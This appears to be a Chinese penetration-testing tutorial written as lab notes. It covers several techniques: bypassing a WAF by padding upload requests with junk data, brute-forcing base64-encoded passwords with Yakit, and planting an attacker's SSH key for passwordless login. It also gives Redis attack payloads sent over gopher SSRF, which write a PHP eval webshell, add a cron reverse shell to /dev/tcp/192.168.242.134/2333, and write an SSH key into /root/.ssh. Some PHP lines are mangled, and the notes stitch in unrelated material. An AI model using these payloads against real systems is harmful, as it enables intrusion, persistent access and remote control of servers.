脏数据绕过WAF适用于所有的漏洞,但是前提条件是垃圾数据必须放在危险信息前面,并且不能打断原有数据包的结构,不能影响后端对数据包的解析。
以DVWA靶场的文件上传漏洞为例。
被WAF拦截。
现在针对于文件上传的绕过,找到上传文件的数据包。
输入脏数据在Content-Disposition字段中的from-data;
分号的前面再加上一个分号,如果不加分号,脏数据会影响到原有数据包的结构。
然后在输入脏数据,成功绕过并且显示出了文件的上传路径。
注意:根据不同的WAF,脏数据要放在不同的位置。
在用户登录的时候前端传递用户名和密码,对密码进行base64的加密,在后端做一个base64解密。那么在爆破的时候就会出现问题,抓包的数据是base64编码之后的,而密码字典都是明文。如果给字典也进行base64编码非常的不现实。
bp也可以使用但是配置太麻烦了,可以使用Yakit工具来进行操作,因为Yakit适合于国内。
模拟环境,创建一个php文件,文件内容如下:
$a=base64_decode($_GET['passwd']);
if($a=="admin"){
echo'wuhu';
}else {
echo'error';
}
?>
在浏览器中进行访问
输入admin的base64加密后的字符串显示如下
后端将接受的数据进行了一个base64解密,如果前端传递的是一个明文密码,对明文密码进行base64解密那么一定会出错,然后输出error。
Yakit配置选项代理主机IP和代理监听的端口
配置好后点击劫持启动,然后就处于抓包状态了。选择自动放行。
History抓包历史
浏览器配置代理
浏览器开启代理,访问页面,然后History抓包历史就会有对应的数据包。
右键数据包发送到Web Fuzzer
方式一:
替换admin,右键插入标签字典–>插入模糊测试字典标签。
需要在{{x(user_top10)}}前面再套一层base64编码。
{{base64({{x(user_top10)}})}}
查看详情
方式二:
右键admin选择编码–>base64编码
替换内容
发包结果
ssh在连接的时候必须知道其明文密码。
ssh采用的是非对称加密,存在公钥和私钥的问题。一旦将自己的公钥写到受害者服务器上的ssh目录中,那么在进行ssh登录认证的时候就不需要密码。
实验环境
kali启动ssh服务
到root的家目录下,把攻击者的公钥写在哪个用户的家目录下,登录的时候必须以该用户的身份。写在kali用户的家目录下使用root用户是无法登录的。
进入.ssh目录,该目录下存放着已经通过认证的主机的公钥。
非对称加密的流程第一步就是互相交换公钥。
如果Win10想攻击kali,前提是Win10必须有ssh客户端。
(实战环境下前提是得有命令执行漏洞或者写文件的地方才可以将文件写进去。)
使用Git来完成本次实验,右键鼠标点击Git Bash Here进入命令窗口。
执行命令
ssh-keygen -t rsa
命令说明:
ssh-keygen -t rsa
是一个用于生成 RSA 密钥对的命令。执行该命令后,将生成一对完整的密钥:一个私钥和一个公钥。~/.ssh/id_rsa
。私钥应该严格保密,并且不应该与他人共享。.pub
扩展名的文件形式保存在相同目录中,例如 ~/.ssh/id_rsa.pub
。公钥可以安全地分发给他人,用于加密数据或者进行身份验证。执行完命令后会在用户目录下生成一个.ssh目录。
目录内容如下
在id_rsa.pub文件中存放着攻击者的公钥。
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy4bH/4ut0RqjcRWMeyGEzw89dn+k2qaEOMHExreb3VbTCP1/AnFPYTshX/HETkMYMzbstIU+mzzy9zsZ7FXZcl+fhMFULV8o3t2LCxkT0PhvldlNjGGed7+TrQtD7eCFmNJKijM3nz8/+C4SwaHtAHeZzJIMPQOf/UdvlW0rNDXFaTGFgk8J3fan/4KRaApDvSPHtauTfAXZaEHqmkdNb59JWRxWjrl1a3vrEbOZmabGwx82NOT0Zbk2zeryk/WzympgkuwS6hgFatbeHSN1AElUqGk1Pm/EkEg+hxyhYftKyv2jw+uHA1n7mrK4tExzkJsRXRqFPlhqdrPINYrGlt2AbVu4+63emMjdTJ3i8eo0+HInL2cMcz7bFeQUKFO34GSJwtpl+6MQjpfn1kKWPNOu8OH40MjvYocLS2FHS44GtIKK+UsJad44NQeN1H6yOzBwL9G/aP0AHvMCvvKUtIvNlvhLvHidiZqYBIwf+jgfIRgqofSyET1LQBVoDhCM= wuhu@DESKTOP-6DBQCEP
在kali中编辑authorized_keys文件,将公钥内容复制到该文件中。(在实战中如果有命令执行漏洞,可以直接写echo 公钥内容 >> authorized_keys,前提对方的ssh得是开放着的,密钥认证功能也得有)
kail的ip地址
在Git的命令输入框中输入连接命令,没有输入密码直接就可以登录。
ssh [email protected]
kali:模拟受害者服务器,需要ssh服务开启,有自己的公钥私钥
win10:攻击者主机,需要把自己的公钥写到受害者服务器的.ssh目录下
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCynKjy0HTJ1A2Cyr9vtIuc/bR9Vp4Up4cl616CCmL5Abz2/vsDR7R9+TWV+sYE69L9gR8fmLtEvm/cTfeCkPrvd2t4/GZ7NUkQgMrkEBB2yIF5To3diL9qzyN/6P3a22bzvfxFN9VJ1LCO27Y6C4RaGZFajYpPMeGSf39F8nxeBVZW57R6Yg4jGv33KhhNSzqB2sdMJB9I3PUZdXT9eIig+gDkeABoD0vkymB08qfJgpU2myRJiWW6oS7KEyDqYDWw6yNhEzeSRJKTD5VRLkIUYkYOZzn/OxfGqu8lJ165bNSdRXHhrmsa+mitlRXdJheGN3nRSkVfuOpuI9Sqf0NbKl7AtlVhW35NUma5A1b6WMHKKISjHqNKBsA0kJEbFAZIB1IEYzsUhYKkMyv+Cwsm/2ipighFWoQh/O+gY7t3puG1Zs8jCwSJ9A4t9chkQMzn/vKBYkRjsqS8IzxpUsd6proMxBYPw3Gk3NzfUXqW3LPbilA0Q3yQaGBR2wX20t0= wuhu@wuhu-PC
.ssh
两台主机,都存在登录的密钥
生成ssh密钥
ssh-keygen -t rsa
高性能:Redis 是基于内存存储的非关系型数据库,具有读写速度快,可以处理大量数据的特点,因此被企业广泛使用。
简单易用:Redis 的 API 简单易用,支持多种数据结构的存储,如字符串、哈希、列表、集合和有序集合等。此外,Redis 还提供了丰富的操作命令,可快速实现各种数据操作。
分布式缓存:Redis 的分布式缓存功能可以帮助企业快速构建高可用、高性能、高可扩展的缓存集群,在提高数据读写性能的同时,还可以实现数据的分片存储和负载均衡。
持久化存储:Redis 支持持久化存储功能,可以将内存中的数据通过快照或日志记录的方式持久化到磁盘中,保证数据的安全性和可靠性。
适用场景:秒杀活动、广告投放、推荐系统、地图服务
#kali换源
vim /etc/apt/sources.list
#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
#更新索引文件
apt-get update
#更新软件包
apt-get upgrade
#安装redis
apt-get install redis-server
#启动
/usr/bin/redis-server
支持发出GET、POST请求
gopher 协议可以在特定的端口上进行相关命令的执行
gopher://IP:port/_{TCP/IP data stream}
redis-cli -h 【ip】
# 写shell
aaa
set 1 "$_POST[1]); ?>"
config set dir /var/www/html/
config set dbfilename shell.php
save
bbb
# url编码
curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A
# 反弹shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n"
config set dir /etc
config set dbfilename crontab
save
redis写入ssh公钥
config set dir /root/.ssh/
config set dbfilename authorized_keys
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCynKjy0HTJ1A2Cyr9vtIuc/bR9Vp4Up4cl616CCmL5Abz2/vsDR7R9+TWV+sYE69L9gR8fmLtEvm/cTfeCkPrvd2t4/GZ7NUkQgMrkEBB2yIF5To3diL9qzyN/6P3a22bzvfxFN9VJ1LCO27Y6C4RaGZFajYpPMeGSf39F8nxeBVZW57R6Yg4jGv33KhhNSzqB2sdMJB9I3PUZdXT9eIig+gDkeABoD0vkymB08qfJgpU2myRJiWW6oS7KEyDqYDWw6yNhEzeSRJKTD5VRLkIUYkYOZzn/OxfGqu8lJ165bNSdRXHhrmsa+mitlRXdJheGN3nRSkVfuOpuI9Sqf0NbKl7AtlVhW35NUma5A1b6WMHKKISjHqNKBsA0kJEbFAZIB1IEYzsUhYKkMyv+Cwsm/2ipighFWoQh/O+gY7t3puG1Zs8jCwSJ9A4t9chkQMzn/vKBYkRjsqS8IzxpUsd6proMxBYPw3Gk3NzfUXqW3LPbilA0Q3yQaGBR2wX20t0= wuhu@wuhu-PC"
save
quit